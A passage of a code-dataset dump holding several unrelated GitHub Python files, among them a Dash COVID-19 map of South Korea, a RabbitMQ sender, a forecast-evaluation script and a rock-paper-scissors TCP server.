south_korea[[\"NAME_1\",\"geometry\"]]\nmerge = pd.read_csv(\"/Users/user/PycharmProjects/Capstone/Covid/south_korea_data.csv\", encoding=\"UTF-8\")\nmerge = merge.set_index(\"NAME_1\")\nsejong = merge[merge.index == 'Sejong']\nsouth_korea = pd.concat([south_korea, sejong])\nsouth_korea = south_korea.sort_index()\n\"\"\"\nsouth_korea = south_korea.set_index(\"NAME_1\")\n#merge_map = pd.concat([south_korea,weather_province],join=\"outer\",axis=1)\n\n# Creating a list of dataframes with time series data for each province\n\ntime_province = time_province.reset_index()\n\nl_1 = ['Busan', 'Chungcheongbuk-do', 'Chungcheongnam-do', 'Daegu', 'Daejeon',\n 'Gangwon-do', 'Gwangju', 'Gyeonggi-do', 'Gyeongsangbuk-do',\n 'Gyeongsangnam-do', 'Incheon', 'Jeju-do', 'Jeollabuk-do',\n 'Jeollanam-do', 'Sejong', 'Seoul', 'Ulsan']\ncolors = ['Red', 'Orange', 'Yellow', 'Green', 'Blue', 'Indigo',\n 'Violet', 'Black', 'White', 'Gray', 'Brown', 'Crimson',\n 'Magenta', 'Cyan', 'Lavender', 'Maroon', 'Navy']\nd = {}\n\ntimestamp_list = list(time_province[\"date\"][time_province[\"province\"]==\"Busan\"].reset_index(drop=True))\ndate_list = []\nfor timestamp in timestamp_list:\n date_list.append(str(timestamp.date()))\n\nfor i in l_1:\n d[i] = pd.DataFrame(columns=\n ['date','confirmed','released','deceased'])\n\nprovince_list = list(d.values())\nfor i in range(len(province_list)):\n province_list[i]['date']=date_list\n province_list[i]['confirmed'] = list(time_province[\"confirmed\"][time_province[\"province\"]==l_1[i]].reset_index(drop=True))\n province_list[i]['released'] = list(time_province[\"released\"][time_province[\"province\"]==l_1[i]].reset_index(drop=True))\n province_list[i]['deceased'] = list(time_province[\"deceased\"][time_province[\"province\"]==l_1[i]].reset_index(drop=True))\n\nfor i in range(len(province_list)):\n province_list[i]['date'] = pd.to_datetime(province_list[i]['date'])\n # province_list[i] = province_list[i].set_index(\"date\")\n\n\nfor i in range(len(province_list)):\n #province_list[i]['geometry'] = south_korea.loc[l_1[i], \"geometry\"]\n province_list[i]['province'] = l_1[i]\n\n\n# Marging dataframes of the list into one dataframe which will be used for creating maps with animations\nprovince_list_merged = pd.concat(province_list, axis=0)\n\n# Data with geographical coordinates parsed to json:\nsouth_korea_json = south_korea.to_json()\nparsed = json.loads(south_korea_json)\n\n# A dictionary for ticker values:\n\nd_1 = {\"avg_temp_mean\":{\"avg_temp_mean\":\"Average temperature\"},\n \"avg_rel_humidity_mean\":{\"avg_rel_humidity_mean\":\"Average relative humidity\"},\n \"max_wind_speed_mean\":{\"max_wind_speed_mean\":\"Maximum wind speed\"},\n \"precipitation_mean\":{\"precipitation_mean\":\"Precipitation\"},\n \"most_wind_direction\":{\"most_wind_direction\":\"Most wind direction\"},\n \"min_temp_mean\":{\"min_temp_mean\":\"Average minimal temperature\"},\n \"max_temp_mean\": {\"max_temp_mean\":\"Average maximum temperature\"},\n \"confirmed\":{\"confirmed\":\"Confirmed cases\"},\n \"released\": {\"released\":\"Released cases\"},\n \"deceased\": {\"deceased\":\"Deceased cases\"},\n \"elementary_school_count\": {\"elementary_school_count\":\"Numbers of elementary schools\"},\n \"kindergarten_count\":{\"kindergarten_count\":\"Numbers of kindergartens\"},\n \"university_count\":{\"university_count\":\"Numbers of universities\"},\n \"nursing_home_count\":{\"nursing_home_count\":\"Numbers of nursing homes\"},\n \"academy_ratio\":{\"academy_ratio\":\"Academy ratio\"},\n \"elderly_population_ratio\":{\"elderly_population_ratio\":\"Elderly population ratio\"},\n \"elderly_alone_ratio\":{\"elderly_alone_ratio\":\"Elderly alone ratio\"}\n }\n\"\"\"\n \"kindergarten_count\":\"Numbers of elementary schools\",\n \"university_count\":\"Numbers of elementary schools\",\n \"nursing_home_count\":\"Numbers of elementary schools\",\n \"academy_ratio\":\"Academy ratio\",\n \"elderly_population_ratio\":\"Elderly population ratio\",\n \"elderly_alone_ratio\":\"Elderly alone ratio\"\n\"\"\"\n\n#Another dictionary for ticker values:\nd_2 = {\"avg_temp_mean\":(10,17),\n \"avg_rel_humidity_mean\":(55,70),\n \"max_wind_speed_mean\":(4,8),\n \"precipitation_mean\":(1,2),\n \"most_wind_direction\":(130,230),\n \"min_temp_mean\":(7,12),\n \"max_temp_mean\":(17,20),\n \"confirmed\":(0,7000),\n \"released\":(0,7000),\n \"deceased\":(0,100),\n \"elementary_school_count\":(0,1000),\n \"kindergarten_count\":(0,1500),\n \"university_count\":(0,100),\n \"nursing_home_count\":(400,50000),\n \"academy_ratio\":(0.95,1.5),\n \"elderly_population_ratio\":(10,30),\n \"elderly_alone_ratio\":(5,15)\n}\n\n# Layout:\n\napp.layout = html.Div([\n html.Div([\n html.H2('COVID-19 cases, social and weather conditions in South Korea'),\n dcc.Graph(id=\"graph\")], style={'width': '80%', 'display': 'inline-block'}),\n html.Div([\n html.H4(\"Select option:\"),\n dcc.Dropdown(\n id=\"ticker\",\n options=[\n \"confirmed\",\n \"released\",\n \"deceased\",\n \"avg_temp_mean\",\n \"avg_rel_humidity_mean\",\n \"max_wind_speed_mean\",\n \"precipitation_mean\",\n \"most_wind_direction\",\n \"min_temp_mean\",\n \"max_temp_mean\"\n \"elementary_school_count\",\n \"kindergarten_count\",\n \"university_count\",\n \"nursing_home_count\",\n \"academy_ratio\",\n \"elderly_population_ratio\",\n \"elderly_alone_ratio\"],\n value=\"confirmed\",\n clearable=False\n )], style={'width': '20%', 'display': 'inline-block'})\n])\n#The function to running the app:\n\n@app.callback(\n Output(\"graph\", \"figure\"),\n Input(\"ticker\", \"value\")\n )\ndef display_geo_map(ticker):\n fig = px.choropleth_mapbox(weather_province,\n geojson=parsed,\n locations=weather_province.index,\n color=weather_province[ticker],\n center={\"lat\": 36.441, \"lon\": 126.5316}, zoom=5.3,\n range_color=d_2[ticker],\n mapbox_style=\"carto-positron\",\n labels=d_1[ticker]\n )\n fig.update_layout(\n margin={\"r\": 1, \"t\": 1, \"l\": 1, \"b\": 1},\n #mapbox_accesstoken=token\n )\n return fig\n\n#Running the app:\napp.run_server(debug=True, port=8050)","repo_name":"Dgudel/COVID-19-exploratory-analysis","sub_path":"geo_plot.py","file_name":"geo_plot.py","file_ext":"py","file_size_in_byte":12246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16210295805","text":"import pika\nimport sys\n\nserverity = sys.argv[1] if len(sys.argv) > 1 else 'info'\nmessage = ' '.join(sys.argv[2:]) or 'Hello World!'\nconnection = pika.BlockingConnection(\n pika.ConnectionParameters(host='121.42.153.143', port=5672))\nchannel = connection.channel()\nchannel.exchange_declare(exchange='direct-logs', type='direct')\nchannel.basic_publish(exchange='direct-logs',\n routing_key=serverity,\n body=message)\nprint(\" [X] Sent %r:%r\" % (serverity, message))\nconnection.close()\n","repo_name":"qm-mobius/spike-rabbitmq","sub_path":"tut-routing/send.py","file_name":"send.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"8289152332","text":"def save(index, content): # index of line to save, value to save\n\n file = open('save/saved_links.py', 'r')\n old_data = file.readlines()\n\n # new_line = ''.join(line[:до '=' + 2] + текущее значение)\n new_line = ''.join(old_data[index-1][:old_data[index-1].find('=')+2] + str(content))\n\n old_data[index-1] = str(new_line + '\\n')\n\n with open('save/saved_links.py', 'w') as file:\n file.writelines(old_data)\n\n return 'Successfully saved'\n","repo_name":"MikhailShurov/TasksParser","sub_path":"save/save_system.py","file_name":"save_system.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"72012770638","text":"import os\nimport json\nimport requests\nimport queue\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n\nclass MsgPublisher:\n def __init__(self):\n self.session = requests.Session()\n self.endpoint = os.getenv(\"EVENT_URL\")\n self.queue_maxsize = int(os.environ[\"QUEUE_SIZE\"])\n self.queue = queue.Queue(maxsize=self.queue_maxsize)\n\n def publish_event(self, event: dict):\n resp = self.session.post(url=f\"{self.endpoint}/api/event\", json=event)\n data = resp.json()\n print(\"\\nRESPONSE FROM ENDPOINT: \", json.dumps(data, indent=2))\n\n def event_worker(self):\n while self.queue.qsize() > 0:\n item = self.queue.get()\n print(f\"{item} ------- sending payload to ==> {os.environ['EVENT_URL']}\")\n self.publish_event(item)\n self.queue.task_done()\n\n def trigger_queue(self):\n if self.queue.qsize() > 0:\n self.event_worker()\n else:\n pass\n\n def read_queue(self) -> list:\n return list(self.queue.queue)\n","repo_name":"rileyrohloff/msg_queue","sub_path":"api_v1/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"3464873888","text":"import pandas as pd\nimport re\nimport string\n# source: https://www.analyticsvidhya.com/blog/2021/06/text-preprocessing-in-nlp-with-python-codes/\n\n# removes punctuation, converts to lowercase, and tokenizes\ndef process(df):\n # remove punctuation\n punct = []\n for text in df['tweet']:\n punct.append(\"\".join([i for i in text if i not in string.punctuation]))\n df['tweet'] = punct\n # convert to lowercase\n df['tweet'] = df['tweet'].apply(lambda x: x.lower())\n # tokenize\n tokens = []\n for text in df['tweet']:\n tokens.append(text.split())\n df['tweet'] = tokens\n\n return df\n\n\n\n","repo_name":"fayeholt/didyourkidsaythat","sub_path":"analysis/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10992118041","text":"import pandas as pd\nfrom collections import defaultdict\nimport datetime\nimport helpers\n\nuniversities = ['narfu','tsu','mgu']\n\ncurr_time = datetime.datetime.now()\n\nfor university in universities:\n dataset = pd.read_csv('./datasets/'+university+'.csv',';', encoding='ansi')\n dates = dataset.loc[:,['bdate']].astype(str)\n ages = defaultdict(int)\n for index,row in dates.iterrows():\n bdate = row['bdate']\n age = str(helpers.datetime_parse(bdate))\n ages[age] += 1\n ages = sorted(ages.items())\n print(ages)\n \n with open('age_freq_'+university+'.csv', 'w') as output_file:\n for i in ages:\n output_file.write(i[0]+';'+str(i[1])+'\\n')","repo_name":"tothevoid/students-data-processing","sub_path":"ages_frequency.py","file_name":"ages_frequency.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74268454158","text":"import numpy as np\nimport pandas as pd\nimport os\nfrom numpy.random import MT19937\nfrom numpy.random import RandomState, SeedSequence\n\n\npd.options.mode.chained_assignment = None # default='warn'\n\ndataset_filename_generator = (\n lambda n_features, n_samples, n_categories, sparsity, feature_noise_percentage, target_white_noise_variance, sorted_dataset, random_seed: f\"{n_features}_{n_samples}_{n_categories}_{sparsity}_{feature_noise_percentage}_{target_white_noise_variance}_{sorted_dataset}_{random_seed}\"\n)\n\n\nclass DatasetCreator:\n def __init__(\n self,\n n_features,\n n_samples,\n n_categories,\n sparsity=1,\n feature_noise_percentage=0,\n target_white_noise_variance=0,\n sorted_dataset=False,\n force_recreation=False,\n random_seed:int = None\n ) -> None:\n \"\"\"\n Creates a dataset with the given parameters.\n\n ------------\n Parameters:\n ------------\n\n n_features: int\n number of features in the dataset\n n_samples: int\n number of samples in the dataset\n n_categories: int\n number of categories in the dataset\n sparsity: float >= 0\n setting sparsity to 0 will make all categories follow the same distribution, setting it very high will make distributions in similar categories very different\n feature_noise_percentage: float between 0 and 1\n percentage of the data that is flipped\n target_white_noise_variance: float >= 0\n variance of the white noise in the target variable\n sorted_dataset: bool\n make the dataset sorted (easier to use when testing c++ code)\n force_recreation: bool\n force the dataset to be recreated\n \"\"\"\n\n self.n_features = n_features\n self.n_samples = n_samples\n self.n_categories = n_categories\n self.sparsity = sparsity\n self.feature_noise_percentage = feature_noise_percentage\n self.target_white_noise_variance = target_white_noise_variance\n self.sorted_dataset = sorted_dataset\n self.force_recreation = force_recreation\n self.random_seed = random_seed\n self.rand = RandomState(MT19937(SeedSequence(self.random_seed)))\n\n def write_dataset(self):\n filename = dataset_filename_generator(\n self.n_features,\n self.n_samples,\n self.n_categories,\n self.sparsity,\n self.feature_noise_percentage,\n self.target_white_noise_variance,\n self.sorted_dataset,\n self.random_seed,\n )\n\n if self.force_recreation or not self.dataset_exists(filename):\n self.create_dataset(filename)\n\n def dataset_exists(self, filename):\n return f\"dataset_{filename}.csv\" in os.listdir(\n \".\"\n ) and f\"distributions_{filename}.csv\" in os.listdir(\".\")\n\n def create_dataset(self, filename):\n features = [f\"feat_{i}\" for i in range(self.n_features)]\n columns = [*features, \"pred\"]\n\n frame = pd.DataFrame(\n columns=features,\n data=np.zeros((self.n_samples, self.n_features), dtype=bool),\n )\n frame[\"pred\"] = np.zeros(self.n_samples, dtype=float)\n\n category_weights = self.rand.poisson(lam=4, size=self.n_categories)\n category_weights = category_weights / np.sum(category_weights)\n\n index = self.rand.choice(\n range(self.n_categories), p=category_weights, size=self.n_samples\n )\n\n true_frame = pd.DataFrame(\n columns=[*features, \"loc\", \"scale\", \"num\"],\n data=np.zeros((self.n_categories, self.n_features + 3)),\n )\n\n chosen = set()\n features_for_categories = []\n distribution_info = []\n bin_words = []\n\n reference = None\n for cat in range(self.n_categories):\n cat_features = self.rand.choice(\n self.n_features, self.rand.choice(range(1, self.n_features + 1))\n )\n while tuple(cat_features) in chosen:\n cat_features = self.rand.choice(\n self.n_features, self.rand.choice(range(1, self.n_features + 1))\n )\n chosen.add(tuple(cat_features))\n features_for_categories.append(np.array(features)[cat_features])\n\n binary_word = np.zeros(self.n_features, dtype=bool)\n binary_word[cat_features] = True\n\n if reference is None:\n distribution_info.append(\n (self.rand.uniform(3, 15), self.rand.uniform(1, 4))\n )\n else:\n similarities = [\n np.sum(~np.logical_xor(reference, binary_word))\n for reference in bin_words\n ]\n i_max = np.argmin(similarities)\n\n loc_ref, scale_ref = distribution_info[i_max]\n difference = similarities[i_max]\n\n loc = loc_ref + self.rand.normal(0, self.sparsity * difference * 3)\n scale = scale_ref + self.rand.normal(0, self.sparsity * difference)\n\n distribution_info.append((loc, scale))\n bin_words.append(binary_word)\n\n info = [\n (np.where(index == cat)[0], cat_feat)\n for cat, cat_feat in enumerate(features_for_categories)\n ]\n info = zip(info, distribution_info, category_weights)\n\n for cat, ((cat_idx, cat_feat), (loc, scale), weight) in enumerate(info):\n cat_df = frame.iloc[cat_idx]\n cat_df[cat_feat] = np.ones((len(cat_idx), len(cat_feat)), dtype=bool)\n frame.iloc[cat_idx] = cat_df\n\n frame[\"pred\"].iloc[cat_idx] = self.rand.normal(\n loc=loc, scale=scale, size=len(cat_idx)\n )\n\n true_frame.iloc[cat][cat_feat] = 1\n true_frame.iloc[cat][\"loc\"] = loc\n true_frame.iloc[cat][\"scale\"] = scale\n true_frame.iloc[cat][\"num\"] = weight\n\n mask = self.rand.choice(\n [True, False],\n size=(self.n_samples, self.n_features),\n p=[self.feature_noise_percentage, 1 - self.feature_noise_percentage], \n )\n values = frame[features].values\n values[mask] = ~values[mask]\n frame[features] = values[:, :]\n frame[\"pred\"] += self.rand.normal(\n loc=0, scale=self.target_white_noise_variance, size=self.n_samples\n )\n\n frame[features] = frame[features].astype(int)\n\n if self.sorted_dataset:\n sorted_idx = np.argsort(frame[\"pred\"])\n frame = frame.iloc[sorted_idx]\n\n frame.to_csv(f\"./dataset_{filename}.csv\", index=False, header=None)\n true_frame.to_csv(f\"./distributions_{filename}.csv\")\n\n return frame\n\n\n","repo_name":"valentinlemaire/dl85-experimental-utils","sub_path":"exputils/dataset_creator.py","file_name":"dataset_creator.py","file_ext":"py","file_size_in_byte":6824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5092165349","text":"#!/usr/bin/env python\nfrom collections import defaultdict\nimport argparse\nfrom Bio import SeqIO\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Chimeric Read Annotator: collapse FASTQ reads to FASTA format',\n usage='%(prog)s [-h] [-v,--version]',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('-i', '--fastq', action='store', dest='fastq', required=True, metavar='',\n help='Input fastq file')\n parser.add_argument('-o', '--fasta', action='store', dest='fasta', required=True, metavar='',\n help='Output fasta file')\n parser.add_argument(\"-u\", '--umi_len', action='store', type=int, default=0, help=\"Length of the UMI, if present.\"\n \"It is trimmed from the 5' end of each read and appended to the tag id\")\n parser.add_argument('-v', '--version', action='version', version='%(prog)s 1.4.3')\n\n args = parser.parse_args()\n print('Input FASTQ : ' + args.fastq)\n print('Output FASTA : ' + args.fasta)\n print('Length of the UMI : ' + str(args.umi_len))\n\n d_uniq_reads = defaultdict(int)\n with open(args.fastq) as fh_fastq:\n for record in SeqIO.parse(fh_fastq, \"fastq\"):\n umi = str(record.seq)[0:args.umi_len]\n sequence = str(record.seq)[args.umi_len:]\n d_uniq_reads[sequence, umi] += 1\n c = 1\n with open(args.fasta, \"w\") as fh_out:\n for sequence, umi in sorted(d_uniq_reads.keys()):\n readcount = d_uniq_reads[sequence, umi]\n seqid = str(c)\n if umi:\n seqid += \"|\" + umi\n seqid += \"|\" + str(readcount)\n fh_out.write(\">\" + seqid + \"\\n\" + sequence + \"\\n\")\n c += 1\n","repo_name":"pavanvidem/chira","sub_path":"chira_collapse.py","file_name":"chira_collapse.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"14701415629","text":"from pathlib import Path\nimport yaml\nfrom CompetitionEvaluation import load_data, structure_data, calculate_metrics\nfrom dataclasses import dataclass\nimport os\nimport xarray\nimport numpy as np\nimport numpy.typing as npt\nfrom scipy.signal import resample\nimport argparse\n\nimport logging\nlogging.getLogger(__name__)\nlogging.basicConfig(filename='evaluate_submission.log', encoding='utf-8', level=logging.INFO)\n\ndef evaluate_forecast(forecast_file: str | os.PathLike, expected_samples: int, actuals_folder: str|os.PathLike, submission_root: str|os.PathLike) -> None:\n\n @dataclass(frozen=True)\n class Actuals:\n target: str\n test_window: str\n parquet_file: str\n\n actuals = [Actuals(\"cm\", \"test_window_2018\", \"cm_actuals_2018.parquet\"),\n Actuals(\"cm\", \"test_window_2019\", \"cm_actuals_2019.parquet\"),\n Actuals(\"cm\", \"test_window_2020\", \"cm_actuals_2020.parquet\"),\n Actuals(\"cm\", \"test_window_2021\", \"cm_actuals_2021.parquet\"),\n Actuals(\"pgm\", \"test_window_2018\", \"pgm_actuals_2018.parquet\"),\n Actuals(\"pgm\", \"test_window_2019\", \"pgm_actuals_2019.parquet\"),\n Actuals(\"pgm\", \"test_window_2020\", \"pgm_actuals_2020.parquet\"),\n Actuals(\"pgm\", \"test_window_2021\", \"pgm_actuals_2021.parquet\")]\n\n _, name, target, window = forecast_file.relative_to(submission_root).parent.parts\n actual = [actual for actual in actuals if actual.target == target and actual.test_window == window]\n\n if len(actual) != 1:\n raise ValueError(\"Only one hit allowed.\")\n actual = actual[0]\n actual_file = actuals_folder/actual.target/actual.test_window/actual.parquet_file\n\n if target == \"pgm\":\n target_column = \"priogrid_gid\"\n elif target == \"cm\":\n target_column = \"country_id\"\n else:\n raise ValueError(f'Target {target} must be either \"pgm\" or \"cm\".')\n\n observed, predictions = load_data(observed_path = actual_file, forecasts_path=forecast_file)\n\n if predictions.index.names != ['month_id', target_column, 'draw']:\n if predictions.index.names == [None] and all([var in predictions.columns for var in ['month_id', target_column, 'draw']]):\n # Index is not set, but index variables are in the file.\n predictions[target_column] = predictions[target_column].astype(int)\n predictions[\"month_id\"] = predictions[\"month_id\"].astype(int)\n predictions.set_index(['month_id', target_column, 'draw'], inplace = True)\n else: \n logging.warning(f'Predictions file {forecast_file} does not have correct index. Currently: {predictions.index.names}')\n if len(predictions.index.names) == 3:\n logging.warning(f'Attempts to rename index.')\n predictions.index.names = ['month_id', target_column, 'draw']\n else:\n raise ValueError(f'Predictions file {forecast_file} does not contain correct index columns.')\n\n if len(observed.columns) == 1 and \"outcome\" not in observed.columns:\n logging.warning(f'Actuals file {actual_file} does not have the \"outcome\" folder.')\n logging.warning(f'Renaming column.')\n observed.columns = [\"outcome\"]\n\n if len(predictions.columns) == 1 and \"outcome\" not in observed.columns:\n logging.warning(f'Predictions file {forecast_file} does not have the \"outcome\" folder.')\n logging.warning(f'Renaming column.')\n predictions.columns = [\"outcome\"]\n\n if len(predictions.columns) != 1:\n raise ValueError(\"Predictions file can only have 1 column.\")\n\n if len(observed.columns) != 1:\n raise ValueError(\"Actuals file can only have 1 column.\")\n \n #units_in_predictions_not_in_observed = [c for c in predictions.index.unique(level=target_column) if c not in observed.index.unique(level=target_column)]\n #units_in_observed_not_in_predictions = [c for c in observed.index.unique(level=target_column) if c not in predictions.index.unique(level=target_column)]\n\n #times_in_observed_not_in_predictions = [c for c in observed.index.unique(level=\"month_id\") if c not in predictions.index.unique(level=\"month_id\")]\n #times_in_predictions_not_in_observed = [c for c in predictions.index.unique(level=\"month_id\") if c not in observed.index.unique(level=\"month_id\")]\n\n #assert len(units_in_predictions_not_in_observed) == 0, f'Lacking actuals for {target_column}: {units_in_predictions_not_in_observed}'\n #assert len(units_in_observed_not_in_predictions) == 0, f'Lacking predictions for {target_column}: {units_in_observed_not_in_predictions}'\n #assert len(times_in_observed_not_in_predictions) == 0, f'Lacking predictions for {target_column}: {times_in_observed_not_in_predictions}'\n #assert len(times_in_predictions_not_in_observed) == 0, f'Lacking actuals for {target_column}: {times_in_predictions_not_in_observed}'\n\n observed, predictions = structure_data(observed, predictions, draw_column_name=\"draw\", data_column_name = \"outcome\")\n\n predictions[target_column] in observed[target_column]\n predictions[\"month_id\"] in observed[\"month_id\"]\n\n if bool((predictions[\"outcome\"] > 10e9).any()):\n logging.warning(f'Found predictions larger than earth population. These are censored at 10 billion.')\n predictions[\"outcome\"] = xarray.where(predictions[\"outcome\"]>10e9, 10e9, predictions[\"outcome\"])\n \n crps_per_unit = calculate_metrics(observed, predictions, metric = \"crps\", aggregate_over=\"month_id\")\n mis_per_unit = calculate_metrics(observed, predictions, metric = \"mis\", prediction_interval_level = 0.9, aggregate_over=\"month_id\")\n\n crps_per_month = calculate_metrics(observed, predictions, metric = \"crps\", aggregate_over=target_column)\n mis_per_month = calculate_metrics(observed, predictions, metric = \"mis\", prediction_interval_level = 0.9, aggregate_over=target_column)\n\n if predictions.dims['member'] != expected_samples:\n logging.warning(f'Number of samples ({predictions.dims[\"member\"]}) is not 1000. Using scipy.signal.resample to get {expected_samples} samples when calculating Ignorance Score.')\n np.random.seed(284975)\n arr: npt.ArrayLike = resample(predictions.to_array(), expected_samples, axis = 3)\n arr = np.where(arr<0, 0, arr) # For the time when resampling happens to go below zero.\n\n new_container = predictions.sel(member = 1)\n new_container = new_container.expand_dims({\"member\": range(0,expected_samples)}).to_array().transpose(\"variable\", \"month_id\", target_column, \"member\")\n predictions: xarray.Dataset = xarray.DataArray(data = arr, coords = new_container.coords).to_dataset(dim=\"variable\")\n\n if bool((predictions[\"outcome\"] < 0).any()):\n logging.warning(f'Found negative predictions. These are censored at 0 before calculating Ignorance Score.')\n predictions[\"outcome\"] = xarray.where(predictions[\"outcome\"]<0, 0, predictions[\"outcome\"])\n\n\n ign_per_unit = calculate_metrics(observed, predictions, metric = \"ign\", bins = [0, 0.5, 2.5, 5.5, 10.5, 25.5, 50.5, 100.5, 250.5, 500.5, 1000.5], aggregate_over=\"month_id\")\n ign_per_month = calculate_metrics(observed, predictions, metric = \"ign\", bins = [0, 0.5, 2.5, 5.5, 10.5, 25.5, 50.5, 100.5, 250.5, 500.5, 1000.5], aggregate_over=target_column)\n \n eval_path = forecast_file.parent/\"eval\"\n eval_path.mkdir(exist_ok=True)\n crps_per_unit.to_parquet(eval_path/\"crps_per_unit.parquet\")\n crps_per_month.to_parquet(eval_path/\"crps_per_month.parquet\")\n ign_per_unit.to_parquet(eval_path/\"ign_per_unit.parquet\")\n ign_per_month.to_parquet(eval_path/\"ign_per_month.parquet\")\n mis_per_unit.to_parquet(eval_path/\"mis_per_unit.parquet\")\n mis_per_month.to_parquet(eval_path/\"mis_per_month.parquet\")\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Method for evaluation of submissions to the ViEWS Prediction Challenge\",\n epilog = \"Example usage: python evaluate_submissions.py -s ./submissions -a ./actuals -e 100\")\n parser.add_argument('-s', metavar='submissions', type=str, help='path to folder with submissions complying with submission_template')\n parser.add_argument('-a', metavar='actuals', type=str, help='path to folder with actuals')\n parser.add_argument('-e', metavar='expected', type=int, help='expected samples', default = 1000)\n args = parser.parse_args()\n\n\n submission_path = Path(args.s)\n actuals_folder = Path(args.a)\n expected_samples = args.e\n\n submission_root = submission_path.parent\n\n submissions = [submission for submission in submission_path.iterdir() if submission.is_dir() and not submission.stem == \"__MACOSX\"]\n\n for submission in submissions:\n\n try:\n with open(submission/\"submission_details.yml\") as f:\n submission_details = yaml.safe_load(f)\n except:\n logging.error(f'{submission/\"submission_details.yml\"} could not be loaded.')\n\n prediction_files = list(submission.glob(\"**/*.parquet\"))\n prediction_files = [f for f in prediction_files if not f.stem.split(\"_\")[0] == \"eval\"]\n prediction_files = [f for f in prediction_files if not f.parent.parts[-1] == \"eval\"]\n prediction_files = [f for f in prediction_files if \"__MACOSX\" not in f.parts]\n \n for f in prediction_files:\n try:\n logging.info(f'Evaluating {str(f)}')\n evaluate_forecast(f, expected_samples, actuals_folder, submission_root)\n except Exception as e:\n logging.error(f'{str(e)}')\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"chris-dworschak/prediction_competition_2023","sub_path":"evaluate_submissions.py","file_name":"evaluate_submissions.py","file_ext":"py","file_size_in_byte":9541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"15414892232","text":"import socket\nimport threading\nimport json\n\n\n#Gamelogic\ndef get_result(player1, player2):\n result = \"\"\n rock = \"rock\"\n paper = \"paper\"\n scissors = \"scissors\"\n\n if player1 == player2:\n result = \"DRAW\"\n elif player1 == rock:\n if player2 == paper:\n result = \"LOSE\"\n else:\n result = \"WIN\"\n elif player1 == scissors:\n if player2 == rock:\n result = \"LOSE\"\n else:\n result = \"WIN\"\n elif player1 == paper:\n if player2 == scissors:\n result = \"LOSE\"\n else:\n result = \"WIN\"\n return result\n\n#TCP Class\nclass TcpClient:\n def __init__(self,host: str, port: int, event: threading.Event):\n #Variablen deklarieren\n\n #self.host = socket.gethostbyname(socket.gethostname())\n self.host = \"\"\n self.port = port\n self.shared_bool = event\n self.is_free = True\n self.player = {} \n self.score = {}\n\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.socket.bind((self.host, self.port))\n\n # Server anhören\n def listen(self):\n print(\"Start listening for TCP-Connection on {}:{}\".format(self.host,self.port))\n self.socket.listen(2)\n while True:\n if len(self.player) < 2:\n client, address = self.socket.accept()\n if len(self.player) < 2:\n self.player[address] = {\n \"name\": \"Rene\",\n \"selection\": None,\n \"client\": client\n }\n threading.Thread(target=self.get_data, args=(client, address)).start()\n\n\n\n\n def get_data(self, client: socket.socket, address):\n while True:\n try:\n data = client.recv(2048).decode()\n except ConnectionResetError:\n self.player.pop(address, None)\n # Reset Spielstand, weil Spieler rausgeflogen ist\n self.shared_bool.clear()\n client.close()\n if len(self.player) > 0:\n for key in self.player:\n self.player[key][\"client\"].sendall(b\"Wait for opponent\")\n break\n if not data:\n self.player.pop(address, None)\n # Reset Spielstand, weil der Gegner ragequited ist\n self.shared_bool.clear()\n client.close()\n if len(self.player) > 0:\n for key in self.player:\n self.player[key][\"client\"].sendall(b\"Wait for opponent\")\n break\n try:\n json_data = json.loads(data)\n print(\"Client sended request: {}\".format(json_data[\"method\"]))\n if json_data[\"method\"] == \"join\":\n if len(self.player) == 2:\n self.shared_bool.set()\n client.sendall(b\"GO\")\n else:\n client.sendall(b\"Wait for opponent\")\n \n elif json_data[\"method\"] == \"turn\":\n print(\"Players turn was: {}\".format(json_data[\"selection\"]))\n if len(self.player) < 2:\n client.sendall(b\"Wait for opponent\")\n\n\n self.player[address][\"selection\"] = json_data[\"selection\"]\n\n for key in self.player:\n if key != address and self.player[key][\"selection\"] is not None:\n game_status = get_result(self.player[address][\"selection\"], self.player[key][\"selection\"])\n if game_status == \"WIN\":\n client.sendall(b\"WIN\")\n self.player[key][\"client\"].sendall(b\"LOSE\")\n elif game_status == \"DRAW\":\n client.sendall(b\"DRAW\")\n self.player[key][\"client\"].sendall(b\"DRAW\")\n elif game_status == \"LOSE\":\n client.sendall(b\"LOSE\")\n self.player[key][\"client\"].sendall(b\"WIN\")\n print('The result was sent to the players')\n self.player[address][\"selection\"] = None\n self.player[key][\"selection\"] = None\n \n client.sendall(b\"GO\")\n self.player[key][\"client\"].sendall(b\"GO\")\n\n else:\n client.sendall(b\"Warte auf Gegnerischenzug\")\n \n # Daten im Scoreboard speichern\n \n \n elif json_data[\"method\"] == \"scoreboard\":\n client.sendall(self.score)\n except json.JSONDecodeError:\n client.sendall(b\"Please send valid data\")\n","repo_name":"rene-ey/Group-5-DS","sub_path":"TcpClient.py","file_name":"TcpClient.py","file_ext":"py","file_size_in_byte":4993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33650803119","text":"import dataclasses\nimport os\nfrom typing import List, Optional, Union\n\nfrom official.core import config_definitions as cfg\nfrom official.core import exp_factory\nfrom official.modeling import hyperparams\nfrom 